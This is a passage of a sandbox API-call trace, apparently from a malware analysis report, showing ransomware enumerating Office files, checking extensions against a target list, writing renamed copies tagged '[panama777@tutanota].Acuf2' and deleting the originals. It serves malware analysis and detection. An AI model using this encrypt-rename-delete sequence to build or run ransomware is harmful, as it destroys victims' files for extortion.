	[0264.208] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0264.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63
	[0264.208] lstrlenW (lpString=".1cd") returned 4
	[0264.208] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0264.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63
	[0264.208] lstrlenW (lpString=".jpg") returned 4
	[0264.208] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0264.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63
	[0264.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63
	[0264.208] lstrlenW (lpString=".doc") returned 4
	[0264.208] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0264.208] lstrlenW (lpString=".docx") returned 5
	[0264.208] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0264.208] lstrlenW (lpString=".pdf") returned 4
	[0264.208] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0264.208] lstrlenW (lpString=".xls") returned 4
	[0264.208] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0264.208] lstrlenW (lpString=".xlsx") returned 5
	[0264.209] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0264.209] lstrlenW (lpString=".ppt") returned 4
	[0264.209] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0264.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63
	[0264.209] lstrlenW (lpString=".zip") returned 4
	[0264.209] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0264.209] lstrlenW (lpString=".rar") returned 4
	[0264.209] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0264.209] lstrlenW (lpString=".bz2") returned 4
	[0264.209] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0264.209] lstrlenW (lpString=".7z") returned 3
	[0264.209] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0264.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63
	[0264.209] lstrlenW (lpString=".dbf") returned 4
	[0264.209] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0264.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63
	[0264.209] lstrlenW (lpString=".1cd") returned 4
	[0264.209] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0264.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63
	[0264.209] lstrlenW (lpString=".jpg") returned 4
	[0264.209] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0264.209] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0264.209] lstrlenW (lpString="OUTLWVW.DLL") returned 11
	[0264.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0264.210] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=128864) returned 1
	[0264.210] CloseHandle (hObject=0x358) returned 1
	[0264.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll")) returned 0x20
	[0264.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0264.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59
	[0264.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59
	[0264.210] lstrlenW (lpString=".doc") returned 4
	[0264.210] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0264.210] lstrlenW (lpString=".docx") returned 5
	[0264.210] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1
	[0264.210] lstrlenW (lpString=".pdf") returned 4
	[0264.210] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0264.210] lstrlenW (lpString=".xls") returned 4
	[0264.210] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0264.210] lstrlenW (lpString=".xlsx") returned 5
	[0264.210] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1
	[0264.210] lstrlenW (lpString=".ppt") returned 4
	[0264.211] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0264.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59
	[0264.211] lstrlenW (lpString=".zip") returned 4
	[0264.211] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0264.211] lstrlenW (lpString=".rar") returned 4
	[0264.211] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0264.211] lstrlenW (lpString=".bz2") returned 4
	[0264.211] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0264.211] lstrlenW (lpString=".7z") returned 3
	[0264.211] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59
	[0264.211] lstrlenW (lpString=".dbf") returned 4
	[0264.211] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0264.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59
	[0264.211] lstrlenW (lpString=".1cd") returned 4
	[0264.211] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0264.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59
	[0264.211] lstrlenW (lpString=".jpg") returned 4
	[0264.211] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0264.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59
	[0264.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59
	[0264.211] lstrlenW (lpString=".doc") returned 4
	[0264.211] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0264.211] lstrlenW (lpString=".docx") returned 5
	[0264.211] lstrcmpiW (lpString1=".docx", lpString2="W.DLL") returned -1
	[0264.211] lstrlenW (lpString=".pdf") returned 4
	[0264.211] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0264.211] lstrlenW (lpString=".xls") returned 4
	[0264.212] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0264.212] lstrlenW (lpString=".xlsx") returned 5
	[0264.212] lstrcmpiW (lpString1=".xlsx", lpString2="W.DLL") returned -1
	[0264.212] lstrlenW (lpString=".ppt") returned 4
	[0264.212] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0264.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59
	[0264.212] lstrlenW (lpString=".zip") returned 4
	[0264.212] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0264.212] lstrlenW (lpString=".rar") returned 4
	[0264.212] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0264.212] lstrlenW (lpString=".bz2") returned 4
	[0264.212] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0264.212] lstrlenW (lpString=".7z") returned 3
	[0264.212] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59
	[0264.212] lstrlenW (lpString=".dbf") returned 4
	[0264.212] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0264.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59
	[0264.212] lstrlenW (lpString=".1cd") returned 4
	[0264.212] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0264.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL") returned 59
	[0264.212] lstrlenW (lpString=".jpg") returned 4
	[0264.212] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0264.212] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Acuf2") returned 1
	[0264.212] lstrlenW (lpString="OUTLWVW.DLL.IDX_DLL") returned 19
	[0264.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0264.213] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=11136) returned 1
	[0264.213] CloseHandle (hObject=0x358) returned 1
	[0264.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll")) returned 0x20
	[0264.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0264.213] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.213] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0264.214] GetLastError () returned 0x0
	[0264.214] ReadFile (in: hFile=0x358, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x2b80, lpOverlapped=0x0) returned 1
	[0264.215] WriteFile (in: hFile=0x218, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x2b90, lpOverlapped=0x0) returned 1
	[0264.217] ReadFile (in: hFile=0x358, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.217] WriteFile (in: hFile=0x218, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0264.217] SetEndOfFile (hFile=0x218) returned 1
	[0264.217] CloseHandle (hObject=0x218) returned 1
	[0264.217] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.217] SetEndOfFile (hFile=0x358) returned 1
	[0264.329] CloseHandle (hObject=0x358) returned 1
	[0264.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlwvw.dll.idx_dll")) returned 1
	[0264.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67
	[0264.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67
	[0264.398] lstrlenW (lpString=".doc") returned 4
	[0264.398] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0264.398] lstrlenW (lpString=".docx") returned 5
	[0264.398] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0264.398] lstrlenW (lpString=".pdf") returned 4
	[0264.399] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0264.399] lstrlenW (lpString=".xls") returned 4
	[0264.399] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0264.399] lstrlenW (lpString=".xlsx") returned 5
	[0264.399] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0264.399] lstrlenW (lpString=".ppt") returned 4
	[0264.399] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0264.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67
	[0264.399] lstrlenW (lpString=".zip") returned 4
	[0264.399] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0264.399] lstrlenW (lpString=".rar") returned 4
	[0264.399] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0264.399] lstrlenW (lpString=".bz2") returned 4
	[0264.399] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0264.399] lstrlenW (lpString=".7z") returned 3
	[0264.399] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67
	[0264.399] lstrlenW (lpString=".dbf") returned 4
	[0264.399] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0264.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67
	[0264.399] lstrlenW (lpString=".1cd") returned 4
	[0264.399] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0264.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67
	[0264.399] lstrlenW (lpString=".jpg") returned 4
	[0264.399] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0264.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67
	[0264.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67
	[0264.399] lstrlenW (lpString=".doc") returned 4
	[0264.399] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0264.399] lstrlenW (lpString=".docx") returned 5
	[0264.399] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0264.400] lstrlenW (lpString=".pdf") returned 4
	[0264.400] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0264.400] lstrlenW (lpString=".xls") returned 4
	[0264.400] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0264.400] lstrlenW (lpString=".xlsx") returned 5
	[0264.400] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0264.400] lstrlenW (lpString=".ppt") returned 4
	[0264.400] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0264.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67
	[0264.400] lstrlenW (lpString=".zip") returned 4
	[0264.400] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0264.400] lstrlenW (lpString=".rar") returned 4
	[0264.400] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0264.400] lstrlenW (lpString=".bz2") returned 4
	[0264.400] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0264.400] lstrlenW (lpString=".7z") returned 3
	[0264.400] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67
	[0264.400] lstrlenW (lpString=".dbf") returned 4
	[0264.400] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0264.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67
	[0264.400] lstrlenW (lpString=".1cd") returned 4
	[0264.400] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0264.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLWVW.DLL.IDX_DLL") returned 67
	[0264.400] lstrlenW (lpString=".jpg") returned 4
	[0264.400] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0264.400] lstrcmpiW (lpString1=".VRD", lpString2=".Acuf2") returned 1
	[0264.400] lstrlenW (lpString="PIPELINE.VRD") returned 12
	[0264.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4
	[0264.404] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=1920) returned 1
	[0264.405] CloseHandle (hObject=0x1b4) returned 1
	[0264.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd")) returned 0x20
	[0264.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0264.408] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.408] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0264.409] GetLastError () returned 0x0
	[0264.409] ReadFile (in: hFile=0x34c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x780, lpOverlapped=0x0) returned 1
	[0264.423] WriteFile (in: hFile=0x218, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x790, lpOverlapped=0x0) returned 1
	[0264.426] ReadFile (in: hFile=0x34c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.426] WriteFile (in: hFile=0x218, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0264.426] SetEndOfFile (hFile=0x218) returned 1
	[0264.426] CloseHandle (hObject=0x218) returned 1
	[0264.426] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.426] SetEndOfFile (hFile=0x34c) returned 1
	[0264.429] CloseHandle (hObject=0x34c) returned 1
	[0264.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd")) returned 1
	[0264.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60
	[0264.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60
	[0264.430] lstrlenW (lpString=".doc") returned 4
	[0264.430] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0264.430] lstrlenW (lpString=".docx") returned 5
	[0264.430] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1
	[0264.430] lstrlenW (lpString=".pdf") returned 4
	[0264.430] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0264.430] lstrlenW (lpString=".xls") returned 4
	[0264.430] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0264.430] lstrlenW (lpString=".xlsx") returned 5
	[0264.430] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1
	[0264.430] lstrlenW (lpString=".ppt") returned 4
	[0264.430] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0264.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60
	[0264.430] lstrlenW (lpString=".zip") returned 4
	[0264.430] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0264.430] lstrlenW (lpString=".rar") returned 4
	[0264.430] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0264.430] lstrlenW (lpString=".bz2") returned 4
	[0264.430] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0264.430] lstrlenW (lpString=".7z") returned 3
	[0264.430] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0264.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60
	[0264.430] lstrlenW (lpString=".dbf") returned 4
	[0264.430] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0264.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60
	[0264.430] lstrlenW (lpString=".1cd") returned 4
	[0264.430] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0264.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60
	[0264.431] lstrlenW (lpString=".jpg") returned 4
	[0264.431] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0264.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60
	[0264.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60
	[0264.431] lstrlenW (lpString=".doc") returned 4
	[0264.431] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0264.431] lstrlenW (lpString=".docx") returned 5
	[0264.431] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1
	[0264.431] lstrlenW (lpString=".pdf") returned 4
	[0264.431] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0264.431] lstrlenW (lpString=".xls") returned 4
	[0264.431] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0264.431] lstrlenW (lpString=".xlsx") returned 5
	[0264.431] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1
	[0264.431] lstrlenW (lpString=".ppt") returned 4
	[0264.431] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0264.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60
	[0264.431] lstrlenW (lpString=".zip") returned 4
	[0264.431] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0264.431] lstrlenW (lpString=".rar") returned 4
	[0264.431] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0264.431] lstrlenW (lpString=".bz2") returned 4
	[0264.431] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0264.431] lstrlenW (lpString=".7z") returned 3
	[0264.431] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0264.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60
	[0264.431] lstrlenW (lpString=".dbf") returned 4
	[0264.431] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0264.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60
	[0264.431] lstrlenW (lpString=".1cd") returned 4
	[0264.431] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0264.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60
	[0264.432] lstrlenW (lpString=".jpg") returned 4
	[0264.432] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0264.432] lstrcmpiW (lpString1=".HXS", lpString2=".Acuf2") returned 1
	[0264.432] lstrlenW (lpString="POWERPNT.DEV.HXS") returned 16
